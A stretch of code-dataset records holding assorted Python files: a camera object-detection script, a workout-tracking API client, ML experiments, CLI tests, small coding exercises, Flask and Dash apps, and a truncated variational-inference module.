main()\n","repo_name":"blawok/color-generator","sub_path":"color_generator/datasets/colors_dataset.py","file_name":"colors_dataset.py","file_ext":"py","file_size_in_byte":2309,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"652748146","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\nimport os\nimport cv2\n#import dlib\nimport numpy as np\nimport time\nimport sys\nimport traceback\nimport datetime\nimport mrcnn.config\nimport mrcnn.utils\nfrom pathlib import Path\nfrom mrcnn.model import MaskRCNN\nimport compare_pic\n\nsize_pic_with = 1920\nsize_pic_high = 1080\ndelta_size_x = 40\ndelta_size_y = 90\nmax_broken_frame = 1000\nmin_dist_pic = 0.6\n\nROOT_DIR = Path(\".\")\nCAR_DIR = os.path.join(ROOT_DIR, \"car_img\")\nHUMAN_DIR = os.path.join(ROOT_DIR, \"human_img\")\nPET_DIR = os.path.join(ROOT_DIR, \"pet_img\")\n\n# Directory to save logs and trained model\nMODEL_DIR = os.path.join(ROOT_DIR, \"logs\")\n# Local path to trained weights file\nCOCO_MODEL_PATH = os.path.join(ROOT_DIR, \"mask_rcnn_coco.h5\")\n# Download COCO trained weights from Releases if needed\nif not os.path.exists(COCO_MODEL_PATH):\n    mrcnn.utils.download_trained_weights(COCO_MODEL_PATH)\n\nclass MaskRCNNConfig(mrcnn.config.Config):\n    NAME = \"coco_pretrained_model_config\"\n    IMAGES_PER_GPU = 1\n    GPU_COUNT = 1\n    NUM_CLASSES = 1 + 80  # COCO dataset has 80 classes + one background class\n    DETECTION_MIN_CONFIDENCE = 0.6\n\n\ndef get_car_boxes(boxes, class_ids):\n    car_boxes = []\n    for i, box in enumerate(boxes):\n        # If the detected object isn't a car / truck, skip it\n        if class_ids[i] in [2, 3, 8, 6, 4,]:\n            car_boxes.append(box)\n\n    return np.array(car_boxes)\n\n\ndef get_human_boxes(boxes, class_ids):\n    human_boxes = []\n    for i, box in enumerate(boxes):\n        if class_ids[i] in [1, ]:\n            human_boxes.append(box)\n\n    return np.array(human_boxes)\n\n\ndef get_pet_boxes(boxes, class_ids):\n    pet_boxes = []\n    for i, box in enumerate(boxes):\n        if class_ids[i] in [16, 17, 18]:\n            pet_boxes.append(box)\n\n    return np.array(pet_boxes)\n\n\ndef rescale_frame(frame, percent=75):\n    width = int(frame.shape[1] * percent/ 100)\n    height = int(frame.shape[0] * percent/ 100)\n    dim = (width, height)\n    return cv2.resize(frame, dim, interpolation =cv2.INTER_AREA)\n\n\ndef normal_rect(x1, y1, x2, y2):\n    x1 = x1 - delta_size_x\n    x2 = x2 + delta_size_x\n    y1 = y1 - delta_size_y\n    y2 = y2 + delta_size_y\n    if x1 < 0:\n        x1 = 0\n    if y1 < 0:\n        y1 = 0\n    if x2 > size_pic_with:\n        x2 = size_pic_with\n    if y2 > size_pic_high:\n        y2 = size_pic_high\n    return x1, y1, x2, y2\n\n#Load Dlib\n#cnn_face_detector = dlib.cnn_face_detection_model_v1(\"mmod_human_face_detector.dat\")\n\n# Create a Mask-RCNN model in inference mode\nmodel = MaskRCNN(mode=\"inference\", model_dir=MODEL_DIR, config=MaskRCNNConfig())\n# Load pre-trained model\nmodel.load_weights(COCO_MODEL_PATH, by_name=True)\n\norb = cv2.ORB_create()\nbf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True)\n\ntry:\n    #vcap = cv2.VideoCapture(\"rtsp://admin@192.168.21.168:554/user=admin&password=&channel=1&stream=0\")\n    vcap = cv2.VideoCapture(\"rtsp://admin@192.168.20.93:554/11\")\nexcept:\n    print(\"I can not open source video!!!\")\n    sys.exit()\ncounter_broken_frame = 0\nimg_car_old = np.full((300, 400, 3), 130, dtype=np.uint8)\nimg_human_old = np.full((300, 400, 3), 130, dtype=np.uint8)\nimg_pet_old = np.full((300, 400, 3), 130, dtype=np.uint8)\nwhile True:\n    ret, frame = vcap.read()\n    if frame is None:\n        counter_broken_frame = counter_broken_frame + 1\n        print(counter_broken_frame)\n        vcap.release()\n        vcap = cv2.VideoCapture(\"rtsp://admin@192.168.20.93:554/11\")\n        continue\n    if counter_broken_frame > max_broken_frame:\n        print(\"Unable reading source video !!!\")\n        sys.exit()\n    #rgb_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n    #resc_frame = rescale_frame(frame, percent=80)\n    t1 = time.time()\n    # Run the image through the Mask R-CNN model to get results.\n    results = model.detect([frame], verbose=0)\n    t2 = time.time()\n    #print(\"Time detect all object:\", (t2 - t1))\n    r = results[0]\n    car_boxes = get_car_boxes(r['rois'], r['class_ids'])\n    human_boxes = get_human_boxes(r['rois'], r['class_ids'])\n    pet_boxes = get_pet_boxes(r['rois'], r['class_ids'])\n    # Draw each box on the frame\n    for box in car_boxes:\n        print(\"Car: \", box)\n        y1, x1, y2, x2 = box\n        #Save image to disk\n        img_car = frame[y1:y2, x1:x2]\n        if img_car_old is not None:\n            filename = os.path.join(CAR_DIR, datetime.datetime.now().strftime(\"%d%m%Y__%H_%M_%S\") + \".jpg\")\n            t_car1 = time.time()\n            # 1\n            dist = compare_pic.Get_Difference(img_car, img_car_old)\n            t_car2 = time.time()\n            print(\"Pohoge \", dist)\n            if dist < min_dist_pic:\n                print(\"Ne Pohoge \", dist)\n                cv2.imwrite(filename, img_car)\n            print(\"Time compare pic:\", (t_car2 - t_car1))\n        img_car_old = img_car\n    for box in human_boxes:\n        print(\"Human: \", box)\n        y1, x1, y2, x2 = box\n        # Save image to disk\n        img_human = frame[y1:y2, x1:x2]\n        if img_human_old is not None:\n            filename = os.path.join(HUMAN_DIR, datetime.datetime.now().strftime(\"%d%m%Y__%H_%M_%S\") + \".jpg\")\n            t_car1 = time.time()\n            # 1\n            dist = compare_pic.Get_Difference(img_human, img_human_old)\n            t_car2 = time.time()\n            if dist < min_dist_pic:\n                print(\"Ne Pohoge \", dist)\n                cv2.imwrite(filename, img_human)\n        img_human_old = img_human\n    for box in pet_boxes:\n        print(\"Pet: \", box)\n        y1, x1, y2, x2 = box\n        # Save image to disk\n        img_pet = frame[y1:y2, x1:x2]\n        if img_pet_old is not None:\n            filename = os.path.join(PET_DIR, datetime.datetime.now().strftime(\"%d%m%Y__%H_%M_%S\") + \".jpg\")\n            t_car1 = time.time()\n            # 1\n            dist = compare_pic.Get_Difference(img_pet, img_pet_old)\n            t_car2 = time.time()\n            if dist < min_dist_pic:\n                print(\"Ne Pohoge \", dist)\n                cv2.imwrite(filename, img_pet)\n        img_pet_old = img_pet\n        # dets = cnn_face_detector(resc_frame, 1)\n        # if len(dets) > 0:\n        #    for i, d in enumerate(dets):\n        #        print(\"Detection {}: Left: {} Top: {} Right: {} Bottom: {} Confidence: {}\".format(\n        #                i, d.rect.left(), d.rect.top(), d.rect.right(), d.rect.bottom(), d.confidence))\n        #        x_left, y_top, x_right, y_bottom = normal_rect(d.rect.left(), d.rect.top(), d.rect.right(), d.rect.bottom())\n        #        face_img =resc_frame[y_top:y_bottom, x_left:x_right]\n        #        filename = datetime.datetime.now().strftime(\"%d%m%Y__%H_%M_%S\")+\".jpg\"\n        #        cv2.imwrite(filename, face_img)\n        #        # filename = datetime.datetime.now().strftime(\"%d%m%Y__%H_%M_%S\") + \"_resc.jpg\"\n        #        # cv2.imwrite(filename, resc_frame)\n        #        # filename = datetime.datetime.now().strftime(\"%d%m%Y__%H_%M_%S\") + \"_rgb.jpg\"\n        #        # cv2.imwrite(filename, rgb_frame)\n        #        filename = datetime.datetime.now().strftime(\"%d%m%Y__%H_%M_%S\") + \"_org.jpg\"\n        #        cv2.imwrite(filename, frame)\n        #    t2 = time.time()\n        #    print(\"Time:\", (t2-t1))\n        #    #rects = dlib.rectangles()\n        #    #rects.extend([d.rect for d in dets])\n        #    #win.clear_overlay()\n        #    #win.set_image(resc_frame)\n        #    #win.add_overlay(rects)\n","repo_name":"Rykovskov/face_id","sub_path":"to_mem.py","file_name":"to_mem.py","file_ext":"py","file_size_in_byte":7374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"19113854998","text":"import requests\r\nfrom datetime import datetime\r\n# used for basic authentication\r\nfrom requests.auth import HTTPBasicAuth\r\nimport os\r\nprint(os.environ)\r\n\r\nnutritionix_APP_ID = os.environ.get(\"APP_ID\")\r\nnutritionix_api_key = os.environ[\"API_KEY\"]\r\n\r\nnutritionix_exercise_endpoint = os.environ.get(\"NUTRITIONIX_ENDPOINT\")\r\nsheety_endpoint = os.environ[\"SHEETY_ENDPOINT\"]\r\n\r\nquery = input(\"Tell me what exercises you did today?: \")\r\n\r\ntoday = datetime.now()\r\ndate = today.strftime(\"%d/%m/%Y\")\r\ntime = today.strftime(\"%H:%M:%S\")\r\n\r\nusername = os.environ[\"USERNAME\"]\r\npassword = os.environ.get(\"PASSWORD\")\r\n\r\nheaders = {\r\n    \"x-app-id\": nutritionix_APP_ID,\r\n    \"x-app-key\": nutritionix_api_key,\r\n    \"Content-Type\": \"application/json\"\r\n}\r\n\r\nparameters = {\r\n    \"query\": query\r\n}\r\n# response = {\r\n#     \"query\":\"ran 3 miles\",\r\n#     \"gender\":\"female\",\r\n#     \"weight_kg\":72.5,\r\n#     \"height_cm\":167.64,\r\n#     \"age\":30\r\n# }\r\n\"\"\"When using inputs, use json not params\"\"\"\r\nresponse = requests.post(url=nutritionix_exercise_endpoint, headers=headers, json=parameters)\r\nresponse.raise_for_status()\r\ndata = response.json()\r\nexercises = len(data[\"exercises\"])\r\nfor exercise in range(exercises):\r\n    exercise_type = data[\"exercises\"][exercise][\"name\"].title()\r\n    duration = data[\"exercises\"][exercise][\"duration_min\"]\r\n    calories = data[\"exercises\"][exercise][\"nf_calories\"]\r\n\r\n    print(exercise_type, duration, calories)\r\n\r\n    sheety_headers = {\r\n        \"api_key\": os.environ.get(\"SHEETY_API_KEY\"),\r\n        \"Authorization\": os.environ[\"TOKEN\"]\r\n    }\r\n\r\n    basic = HTTPBasicAuth(username, password)\r\n\r\n    sheety_params = {\r\n        \"sheet1\": {\r\n            \"date\": date,\r\n            \"time\": time,\r\n            \"exercise\": exercise_type,\r\n            \"duration\": duration,\r\n            \"calories\": calories,\r\n    }\r\n}\r\n\r\n    response_2 = requests.post(url=sheety_endpoint, json=sheety_params, auth=basic)\r\n    response_2.raise_for_status()\r\n    sheety_data = response_2.json()\r\n    print(sheety_data)\r\n    print(response_2.text)","repo_name":"Prisoe/My-Projects","sub_path":"Day 38 Workout Tracking Using Google Sheets/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"24884768648","text":"from sklearn.model_selection import GridSearchCV\n\nfrom sklearn.datasets import load_iris\nfrom sklearn.neighbors import KNeighborsClassifier\n\nimport numpy as np\nimport random\nimport os\nimport time\n\nfor filename in os.listdir('testes'):\n    pontos = []\n    mapeamentoAtributos = []\n    with open('testes/'+filename) as file:\n        for line in file:\n            line = line.strip()\n            if line == 'EOF':\n                break\n            else:\n                partes = line.split(',')\n                if len(mapeamentoAtributos) == 0:\n                    for i in range(len(partes)):\n                        mapeamentoAtributos.append(dict())\n                partesConvertidas = []\n                for i in range(len(partes)):\n                    if i != len(partes)-1 and partes[i].isnumeric():\n                        partesConvertidas.append(float(partes[i]))\n                    else:\n                        if partes[i] not in mapeamentoAtributos[i]:\n                            mapeamentoAtributos[i][partes[i]] = len(mapeamentoAtributos[i])\n                        partesConvertidas.append(mapeamentoAtributos[i][partes[i]])\n                \n                pontos.append(partesConvertidas)\n\n    pontos = np.array(pontos)\n\n    if len(pontos) > 1000:\n        pontos = pontos[:1000]\n\n    X = pontos[:, :-1]\n    y = pontos[:, -1:]\n\n    k_range = list(range(3,100))\n    weight_options = [\"uniform\", \"distance\"]\n\n    param_grid = dict(n_neighbors = k_range, weights = weight_options)\n\n\n    knn = KNeighborsClassifier()\n\n    grid = GridSearchCV(knn, param_grid, cv = 10, scoring = 'accuracy')\n    grid.fit(X,y.ravel())\n\n    print('Melhor k para o arquivo', filename, ':', grid.best_params_['n_neighbors'])\n","repo_name":"vitorricoy/TP1_ALG2","sub_path":"codigo_auxiliar_testes/main_find_k.py","file_name":"main_find_k.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"70020688108","text":"import click\nimport click.testing\nimport pytest\n\nfrom movici_api_client.cli.bootstrap import create_click_command, register_controller\nfrom movici_api_client.cli.common import Controller\nfrom movici_api_client.cli.decorators import argument, command\n\n\nclass MyController(Controller):\n    name: str = \"single\"\n\n    @command\n    def get(self):\n        click.echo(\"get\")\n\n    @command(name=\"multiple\")\n    def list(self):\n        click.echo(\"list\")\n\n\ndef test_register_controller():\n    group = click.Group(\"main\")\n    register_controller(group, MyController())\n    assert \"single\" in group.commands[\"get\"].commands\n    assert \"multiple\" in group.commands[\"list\"].commands\n\n\ndef test_register_controller_with_explicit_group():\n    class MyController(Controller):\n        name: str = \"single\"\n\n        @command\n        def get(self):\n            click.echo(\"get\")\n\n        @command(name=\"multiple\", group=\"get\")\n        def get_multiple(self):\n            click.echo(\"list\")\n\n    group = click.Group(\"main\")\n    register_controller(group, MyController())\n    assert \"single\" in group.commands[\"get\"].commands\n    assert \"multiple\" in group.commands[\"get\"].commands\n\n\n@pytest.mark.parametrize(\n    \"args, output\",\n    [\n        ([\"get\", \"single\"], \"get\"),\n        ([\"list\", \"multiple\"], \"list\"),\n    ],\n)\ndef test_controller_integration(args, output):\n    cli = click.Group(\"main\")\n    register_controller(cli, MyController())\n    runner = click.testing.CliRunner()\n    result = runner.invoke(cli, args)\n    assert result.exit_code == 0\n    assert output in result.output\n\n\ndef test_command_with_arguments():\n    @command\n    @argument(\"arg\")\n    def func(arg):\n        click.echo(arg)\n\n    cli = create_click_command(func)\n    runner = click.testing.CliRunner()\n    result = runner.invoke(cli, [\"foo\"])\n    assert result.exit_code == 0\n    assert \"foo\" in result.output\n","repo_name":"nginfra/movici-api-client","sub_path":"tests/cli/test_bootstrap.py","file_name":"test_bootstrap.py","file_ext":"py","file_size_in_byte":1866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"12464220887","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n\n#\n# Complete the 'timeConversion' function below.\n#\n# The function is expected to return a STRING.\n# The function accepts STRING s as parameter.\n#\n\ndef timeConversion(s):\n    # Write your code here\n    list1 = []\n    result = \"\"\n\n    for i in s:\n        if i == 'A' or i == 'M' or i == 'P':\n            pass\n        else:\n            list1.append(i)\n\n    if \"AM\" in s:\n\n        if list1[0:2] == ['1', '2']:\n            result = \"00\"\n\n            for j in range(2, len(list1)):\n                result += list1[j]\n\n        else:\n            for j in range(len(list1)):\n                result += list1[j]\n\n    elif \"PM\" in s:\n        if list1[0:2] == ['1', '2']:\n            for j in range(len(list1)):\n                result += list1[j]\n\n        elif list1[0] == '0':\n            time = 12 + int(list1[1])\n            result = str(time)\n            for j in range(2, len(list1)):\n                result += list1[j]\n\n        elif list1[1] == '1':\n            time = 12 + 11\n            result = str(time)\n            for j in range(2, len(list1)):\n                result += list1[j]\n\n        else:\n            time = 12 + 10\n            result = str(time)\n            for j in range(2, len(list1)):\n                result += list1[j]\n\n    return result\n\n\nif __name__ == '__main__':\n    fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n    s = input()\n\n    result = timeConversion(s)\n\n    fptr.write(result + '\\n')\n\n    fptr.close()\n","repo_name":"gajanan-more/python_codes","sub_path":"Hackerrank/1_week_preparation_kit/day_1/time_conversion/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":1500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"26033492798","text":"# 0.引入库\r\nimport time\r\nimport os\r\nimport torch\r\nimport torchvision.transforms as transforms\r\nimport cv2\r\nfrom PIL import Image\r\nfrom flask import Flask, render_template, request, jsonify\r\nfrom yolact import Yolact\r\nfrom eval_for_web import eval\r\nimport io\r\n\r\n\r\napp = Flask(__name__)\r\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\r\n\r\n# 1.加载模型\r\n# path_model = '../weights/624_1c/yolact_coco_custom_506_40000.pth'\r\n# model = Yolact()\r\n# model.load_weights(path_model)\r\n# model.eval()\r\n\r\n# 2.预处理\r\ndef img_resize(image_pth):\r\n    img = cv2.imread(image_pth)\r\n    if img.shape[0] > 1000:\r\n        ratio = img.shape[0]//1000\r\n        img = cv2.resize(img, (img.shape[1] // ratio, img.shape[0] // ratio))\r\n    cv2.imwrite('/home/oem/yolact-master/Flask_Service/data/pic_temp/temp.jpg', img)\r\n\r\n# 3.模型预测\r\n # eval()\r\n\r\n# 4.服务返回\r\n@app.route(\"/\")\r\ndef index_page():\r\n    return render_template('index_old.html')\r\n\r\n@app.route(\"/upload_image\", methods=['POST'])\r\ndef return_result():\r\n    # 1.获取并保存上传的图片，并计算所用时间\r\n    startTime = time.time()\r\n    received_file = request.files['input_image']\r\n    imageFileName = received_file.filename\r\n    if received_file:\r\n        received_dirPath = './resources/received_images'\r\n        if not os.path.isdir(received_dirPath):\r\n            os.makedirs(received_dirPath)\r\n        imageFilePath = os.path.join(received_dirPath, imageFileName)\r\n        received_file.save(imageFilePath)\r\n        used_time = time.time()-startTime\r\n        print('保存图片所花时间%0.2f秒'%used_time)\r\n        img_resize(imageFilePath)\r\n    # 2.对图片进行预测并返回结果\r\n        startTime = time.time()\r\n        eval()\r\n        used_time = time.time()-startTime\r\n        print('模型预测消耗时间%0.2f秒'%used_time)\r\n        # img = Image.open(io.BytesIO('/home/oem/yolact-master/Flask_Service/data/pic_temp/temp_out.jpg'))\r\n        # # img = str(img)\r\n        # return render_template(\"result_old.html\", result=img)\r\n    else:\r\n        return 'failed'\r\n\r\n# 5.主函数\r\nif __name__ ==\"__main__\":\r\n    # imageFilePath = os.path.join(BASE_DIR, 'data/pic_temp/temp.jpg')\r\n    app.run(\"127.0.0.1\", port=5000)","repo_name":"ToniXWD/mmdetFlaskCrack","sub_path":"Flask_Service/service2.py","file_name":"service2.py","file_ext":"py","file_size_in_byte":2215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"70381464429","text":"def is_triangular(k):\n    \"\"\"\n    k, a positive integer\n    returns True if k is triangular and False if not\n    \"\"\"\n    # Write a function is_triangular that meets the specification below. A triangular number is a number obtained by the continued summation of integers starting from 1. \n    # For example, 1, 1+2, 1+2+3, 1+2+3+4, etc., corresponding to 1, 3, 6, 10, etc., are triangular numbers.\n\n    kcopy = k\n    intn = 1\n    while kcopy - intn >= 0:\n        if kcopy - intn == 0:\n            return True\n        else:\n            kcopy -= intn\n            intn += 1\n    return False\n\nprint(is_triangular(105))","repo_name":"linkel/MITx-6.00.1x-2018","sub_path":"Final/triangular.py","file_name":"triangular.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"20112743620","text":"from dash import Dash, html, dcc\nimport plotly.express as px\nimport pandas as pd\nimport os \n\ndef create_dash_application(flask_app):\n    # Create a Dash application integrated with Flask\n    dash_app = Dash(\n        server=flask_app,\n        name=\"Dashboard\",\n        url_base_pathname=\"/dash/\",\n        external_stylesheets=[\n            {\n                \"href\": (\n                    \"https://fonts.googleapis.com/css2?\"\n                    \"family=Lato:wght@400;700&display=swap\"\n                ),\n                \"rel\": \"stylesheet\",\n            },\n        ],\n    )\n\n    # Get the path of the current Python file\n    current_dir = os.path.dirname(os.path.abspath(__file__))\n\n    # Construct the absolute file path\n    file_path = os.path.join(current_dir, \"custData.csv\")\n\n    try:\n        data = (\n            pd.read_csv(file_path)\n            .query(\"type == 'conventional' and region == 'Albany'\")\n            .assign(Date=lambda data: pd.to_datetime(data[\"Date\"], format=\"%Y-%m-%d\"))\n            .sort_values(by=\"Date\")\n        )\n    except FileNotFoundError:\n        print(f\"File '{file_path}' not found.\")\n\n    # Create the Dash layout\n    dash_app.layout = html.Div(\n        children=[\n            html.H1(\n                children=\"Customer Lifetime Value\",\n                className=\"header-title\",\n            ),\n            html.P(\n                children=(\n                    \"Analyze the behavior of customer lifetime value and the number\"\n                    \" of customers between 2015 and 2018\"\n                ),\n            ),\n            dcc.Graph(\n                figure={\n                    \"data\": [\n                        {\n                            \"x\": data[\"Date\"],\n                            \"y\": data[\"AveragePrice\"],\n                            \"type\": \"lines\",\n                        },\n                    ],\n                    \"layout\": {\"title\": \"Customer Lifetime Value\"},\n                },\n            ),\n            dcc.Graph(\n                figure={\n                    \"data\": [\n                        {\n                            \"x\": data[\"Date\"],\n                            \"y\": data[\"Total Volume\"],\n                            \"type\": \"lines\",\n                        },\n                    ],\n                    \"layout\": {\"title\": \"Transactions Made\"},\n                },\n            ),\n        ]\n    )\n\n    return dash_app\n","repo_name":"sphinx-austin/customer-app","sub_path":"project/dashapp/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"75209634986","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Nov  1 20:18:46 2022\n\n@author: Yasin\n\"\"\"\n\ntext = input(\"Bir metin gir:\\n\")\n\n\"\"\"\na = []\nfor i in range(26):\n    a.append(0)\n    \n\nfor i in text:\n    if i >= \"a\" and i <= \"z\":\n        index = ord(i) - ord(\"a\")\n        a[index] +=1\n\"\"\"\n\na = {}\n#a = dict()\n\nfor i in range(26):\n    a[chr(ord('a')+i)] = 0\n\nfor i in text:\n    if i >= \"a\" and i <= \"z\":\n        a[i] +=1\n\nprint(a)\n\n\"\"\"\nfor key, value in a.items():\n    print(f\"{key}: {value}\")\n\"\"\"    \n","repo_name":"yasinbabaoglu/IntroductionToComputerScience_Python","sub_path":"20-count_of_char.py","file_name":"20-count_of_char.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"71195371946","text":"import numpy as np\nimport librosa\nimport os\nimport argparse\n\nfrom keras.models import load_model\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-a\", \"--audio\", required=True, help=\"audio to detect\")\n\nargs = vars(parser.parse_args())\n\nlabels = ['yes', 'no', 'up', 'down', 'left', 'right', 'on', 'off', 'stop', 'go', 'unknown']\n\nDATA_PATH = './train/audio/'\n\ndef wav2mfcc(file_path, max_pad_len=11):\n    wave, sr = librosa.load(file_path, mono=True, sr=None)\n    wave = wave[::3]\n    mfcc = librosa.feature.mfcc(wave, sr=16000)\n    pad_width = max_pad_len - mfcc.shape[1]\n    mfcc = np.pad(mfcc, pad_width=((0, 0), (0, pad_width)), mode='constant')\n    return mfcc\n\nmodel = load_model('model_trained.h5')\n\nsample = wav2mfcc(args[\"audio\"])\n\nsample_reshaped = sample.reshape(1, 20, 11, 1)\n\nprint(labels[np.argmax(model.predict(sample_reshaped))])\n","repo_name":"chandanms/speech-recognition","sub_path":"inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"17738877709","text":"import setuptools\n\nwith open(\"README.md\", \"r\", encoding=\"utf-8\") as fh:\n    long_description = fh.read()\n\nsetuptools.setup(\n    name=\"portfolio_swissknife\",\n    version=\"0.0.1\",\n    author=\"Matus Jan Lavko\",\n    author_email=\"matusjanlavko@gmail.com\",\n    description=\"An end-to-end tool for quick portfolio analysis and sketching of investment ideas.\",\n    long_description_content_type=\"text/markdown\",\n    url=\"https://github.com/matus-jan-lavko/portfolio_swissknife\",\n    project_urls={\n        \"Bug Tracker\": \"https://github.com/matus-jan-lavko/portfolio_swissknife/issues\",\n    },\n    classifiers=[\n        \"Programming Language :: Python :: 3\",\n        \"License :: OSI Approved :: MIT License\",\n        \"Operating System :: OS Independent\",\n    ],\n    package_dir={\"\": \"src\"},\n    packages=setuptools.find_packages(where=\"src\"),\n    python_requires=\">=3.6\",\n)","repo_name":"matus-jan-lavko/portfolio_swissknife","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"40493767935","text":"import functools\nimport inspect\nimport os\nimport tempfile\nimport uuid\nfrom collections import defaultdict\nfrom pathlib import Path\n\nimport numpy as np\nimport tensorflow as tf\nimport tensorflow_probability as tfp\nfrom tensorflow.python.data.ops.dataset_ops import BatchDataset\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.ops import control_flow_ops, math_ops, state_ops\nfrom tensorflow.python.tools.inspect_checkpoint import print_tensors_in_checkpoint_file\nfrom tensorflow.python.training import optimizer\nfrom tensorflow_probability.python import util as tfp_util\nfrom tensorflow_probability.python.bijectors import softplus as softplus_lib\nfrom tensorflow_probability.python.distributions.transformed_distribution import (\n    TransformedDistribution,\n)\nfrom tensorflow_probability.python.internal import (\n    dtype_util,\n    prefer_static,\n    tensorshape_util,\n)\nfrom tensorflow_probability.python.vi import csiszar_divergence, kl_reverse\nfrom tqdm import tqdm\n\nfrom tensorflow_probability.python.vi import GradientEstimators\nfrom tensorflow_probability.python import monte_carlo\n\nfrom bayesianquilts.util import (\n    batched_minimize,\n    TransformedVariable,\n)\nfrom bayesianquilts.util import _trace_loss\n\n\n# @tf.function(autograph=False)\ndef minibatch_mc_variational_loss(\n    target_log_prob_fn,\n    surrogate_posterior,\n    dataset_size,\n    batch_size,\n    data,\n    sample_size=1,\n    sample_batches=1,\n    importance_sample_size=1,\n    discrepancy_fn=kl_reverse,\n    use_reparameterization=None,\n    gradient_estimator=None,\n    stopped_surrogate_posterior=None,\n    seed=None,\n    cost=\"reweighted\",\n    **kwargs,\n):\n    \"\"\"The minibatch variational loss\n\n    Args:\n        target_log_prob_fn (_type_): log_likelihood + prior_weight*log_prior\n        surrogate_posterior (_type_): _description_\n        dataset_size (_type_): _description_\n        batch_size (_type_): _description_\n        sample_size (int, optional): _description_. Defaults to 1.\n        discrepancy_fn (_type_, optional): _description_. Defaults to tfp.vi.kl_reverse.\n        seed (_type_, optional): _description_. Defaults to None.\n        data (_type_, optional): _description_. Defaults to None.\n        name (_type_, optional): _description_. Defaults to None.\n\n    Returns:\n        _type_: _description_\n    \"\"\"\n    # @tf.function\n    def sample_elbo():\n        q_samples, q_lp = surrogate_posterior.experimental_sample_and_log_prob(\n            sample_size, seed=seed\n        )\n        return q_samples, q_lp\n\n    # @tf.function(autograph=False)\n    batch_expectations = []\n\n    reweighted = functools.partial(\n        target_log_prob_fn,\n        data=data,\n        prior_weight=tf.cast(batch_size / dataset_size, tf.float64),\n    )\n\n    def sample_expected_elbo(q_samples, q_lp):\n\n        penalized_ll = target_log_prob_fn(\n            data=data,\n            prior_weight=tf.constant(batch_size / dataset_size),\n            **q_samples,\n        )\n        expected_elbo = tf.reduce_mean(q_lp * batch_size / dataset_size - penalized_ll)\n\n        return expected_elbo\n\n    for _ in range(sample_batches):\n        q_samples, q_lp = sample_elbo()\n        if cost == \"tfp\":\n            batch_expectations += [\n                monte_carlo.expectation(\n                    f=csiszar_divergence._make_importance_weighted_divergence_fn(\n                        reweighted,\n                        surrogate_posterior=surrogate_posterior,\n                        discrepancy_fn=discrepancy_fn,\n                        precomputed_surrogate_log_prob=q_lp * batch_size / dataset_size,\n                        importance_sample_size=importance_sample_size,\n                        gradient_estimator=gradient_estimator,\n                        stopped_surrogate_posterior=(stopped_surrogate_posterior),\n                    ),\n                    samples=q_samples,\n                    # Log-prob is only used if `gradient_estimator == SCORE_FUNCTION`.\n                    log_prob=surrogate_posterior.log_prob,\n                    use_reparameterization=(\n                        gradient_estimator != GradientEstimators.SCORE_FUNCTION\n                    ),\n                )\n            ]\n        else:\n            batch_expectations += [sample_expected_elbo(q_samples, q_lp)]\n    batch_expectations = tf.reduce_mean(batch_expectations, axis=0)\n    return batch_expectations\n\n\ndef minibatch_fit_surrogate_posterior(\n    target_log_prob_fn,\n    surrogate_posterior,\n    batched_data_factory,\n    batch_size,\n    dataset_size,\n    num_steps=1000,\n    trace_fn=_trace_loss,\n    sample_size=8,\n    sample_batches=1,\n    check_every=1,\n    decay_rate=0.9,\n    learning_rate=1.0,\n    clip_value=10.0,\n    clip_by=\"norm\",\n    trainable_variables=None,\n    jit_compile=None,\n    accumulate_batches=False,\n    batches_per_step=1,\n    abs_tol=None,\n    rel_tol=None,\n    strategy=None,\n    name=None,\n    test_fn=None,\n    **kwargs,\n):\n    if trainable_variables is None:\n        trainable_variables = surrogate_posterior.trainable_variables\n\n    def complete_variational_loss_fn(data=None):\n        \"\"\"This becomes the loss function called in the\n        optimization loop\n\n        Keyword Arguments:\n            data {tf.data.Datasets batch} -- [description] (default: {None})\n\n        Returns:\n            [type] -- [description]\n        \"\"\"\n        return minibatch_mc_variational_loss(\n            target_log_prob_fn,\n            surrogate_posterior,\n            sample_size=sample_size,\n            sample_batches=sample_batches,\n            data=data,\n            dataset_size=dataset_size,\n            batch_size=batch_size,\n            strategy=strategy,\n            name=name,\n            **kwargs,\n        )\n\n    return batched_minimize(\n        complete_variational_loss_fn,\n        batched_data_factory=batched_data_factory,\n        num_steps=num_steps,\n        trace_fn=trace_fn,\n        learning_rate=learning_rate,\n        trainable_variables=trainable_variables,\n        abs_tol=abs_tol,\n        rel_tol=rel_tol,\n        clip_value=clip_value,\n        clip_by=clip_by,\n        